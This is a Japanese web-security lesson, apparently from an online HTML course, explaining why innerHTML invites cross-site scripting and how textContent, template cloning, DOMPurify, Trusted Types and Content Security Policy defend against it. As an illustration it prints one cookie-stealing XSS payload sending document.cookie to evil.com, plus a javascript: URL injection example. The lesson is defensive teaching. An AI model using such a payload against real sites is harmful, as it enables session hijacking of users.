0Pricing
HTML Academy · レッスン

templateとinnerHTMLのセキュリティ

innerHTMLを設定するよりテンプレートが安全な理由を理解します

「templateとinnerHTMLのセキュリティ」はCoddyKit上の無料HTML Academyレッスンです。 これはレッスン4/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはHTML Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 HTML Academyコースには全4レッスンが含まれています。

innerHTMLのインジェクションリスク

el.innerHTML = userInputを設定すると、文字列がHTMLとして解析されます。userInputに<script>やonerrorのようなイベントハンドラーが含まれていると、ブラウザーがそれらを実行し、クロスサイトスクリプティング(XSS)の脆弱性が発生します。

innerHTMLによるXSSの例

攻撃者がユーザー名として<img src=x onerror="fetch('https://evil.com/?c='+document.cookie)">を送信したとします。これをinnerHTMLでレンダリングするとonerrorが発火し、セッションCookieが外部に流出します。テキストの内容が実行可能なコードになってしまいます。

textContentは安全

el.textContent = userInputでは、文字列はプレーンテキストとして扱われるため、HTMLの解析もスクリプトの実行も行われません。ブラウザーはテキストノード内の<と>を自動的にエスケープします。ユーザーが入力した値には、必ずtextContentを使ってください。

// SAFE
nameEl.textContent = user.displayName;
// DANGEROUS
nameEl.innerHTML = user.displayName;

template要素で文字列解析を避ける

template.cloneNode(true)を使う場合、構造はユーザーが指定した文字列ではなく、解析済みのHTML templateから取得されます。クローンしたノードの値をtextContentで設定すれば、ユーザーデータは解析済みHTMLではなく、常にテキストノード内に保持されます。構造とデータを分離できます。

innerHTMLが必要な場合のサニタイズ

ユーザーが入力したHTML形式の書式(リッチテキスト)が必要な場合は、innerHTMLを設定する前にサニタイズしてください。標準的なライブラリはDOMPurifyです。el.innerHTML = DOMPurify.sanitize(richHtml)のように使用します。安全な書式を維持しながら、危険なタグや属性を除去します。

insertAdjacentHTMLのリスク

insertAdjacentHTML("beforeend", html)もHTML文字列を解析するため、innerHTMLと同じXSSリスクがあります。同じサニタイズルールを適用してください。より安全な方法は、createElementで要素を作成し、textContentを設定してからappendChildを使うことです。

setAttributeのセキュリティ

ユーザーデータを使って属性を設定すると、インジェクションが発生する可能性があります。たとえばel.setAttribute("href", userUrl)で、userUrlがjavascript:alert(1)の場合、XSSが発生します。hrefまたはsrc属性を設定する前にURLスキームを検証し、http:、https:、mailto:だけを許可してください。

DOM Clobbering

DOM clobberingは、名前付きフォーム要素(id="getElementById")によってグローバルなJavaScript変数が上書きされる攻撃です。要素にはグローバルなwindowプロパティではなく、必ずdocument.getElementById()を使ってアクセスしてください。Content Security Policyもclobbering攻撃の緩和に役立ちます。

Trusted Typesポリシー

Trusted Types(Chromeで対応し、CSPによって強制できます)を使うと、innerHTML、insertAdjacentHTMLなどのシンクに、ポリシーでラップした文字列を渡すことが必須になります。生の文字列は代入できず、宣言したTrustedTypesポリシーによって作成された値だけを代入できます。これにより、サニタイズを誤って回避することを防げます。

Document Fragmentの安全性

DOM API(createElement、createTextNode)で要素を作成し、DocumentFragment内で操作する方法は、本質的にXSSに対して安全です。テキストは常にテキストとして扱われ、解析済みHTMLになることはありません。DocumentFragmentは、複雑な動的UIを構築する最も安全な方法です。

Content Security Policy

厳格なCSP(unsafe-inlineを使用せず、nonceベースのスクリプトを使う設定)は、XSSに対する多層防御になります。攻撃者がHTMLを注入しても、CSPによって注入されたスクリプトの実行を防げます。CSPによってサニタイズが不要になるわけではありません。CSPは主要な防御策ではなく、安全網です。

知識チェック

ユーザーが入力したデータのレンダリングで、textContentがinnerHTMLより安全なのはなぜですか?

まとめ

innerHTMLなどのAPIはHTML文字列を解析するため、サニタイズせずにユーザーデータを埋め込むとXSSの脆弱性が発生します。textContent、textContentで値を設定するtemplateのクローン、リッチテキスト用のDOMPurify、Content Security Policyを組み合わせることで、HTMLインジェクション攻撃に対する多層防御を構築できます。

よくある質問

「templateとinnerHTMLのセキュリティ」レッスンは無料ですか?

はい。「templateとinnerHTMLのセキュリティ」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、HTML Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 HTML Academyコースには全4レッスンが含まれています。

「templateとinnerHTMLのセキュリティ」で何を学びますか?

innerHTMLを設定するよりテンプレートが安全な理由を理解します ブラウザで直接実行するハンズオンコードでHTML Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。

HTML Academyを始めるのに経験は必要ですか?

事前経験は必要ありません。CoddyKitのHTML Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン4/4です。

「templateとinnerHTMLのセキュリティ」レッスンにはどのくらい時間がかかりますか?

ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。

このHTML Academyレッスンでコードを書いて実行できますか?

はい。すべてのHTML Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。

このコースのすべてのレッスン

  1. template要素と不活性コンテンツ
  2. cloneNodeでテンプレートを複製する
  3. JavaScriptによるレンダリングでtemplateを使う
  4. templateとinnerHTMLのセキュリティ
← HTML Academyに戻る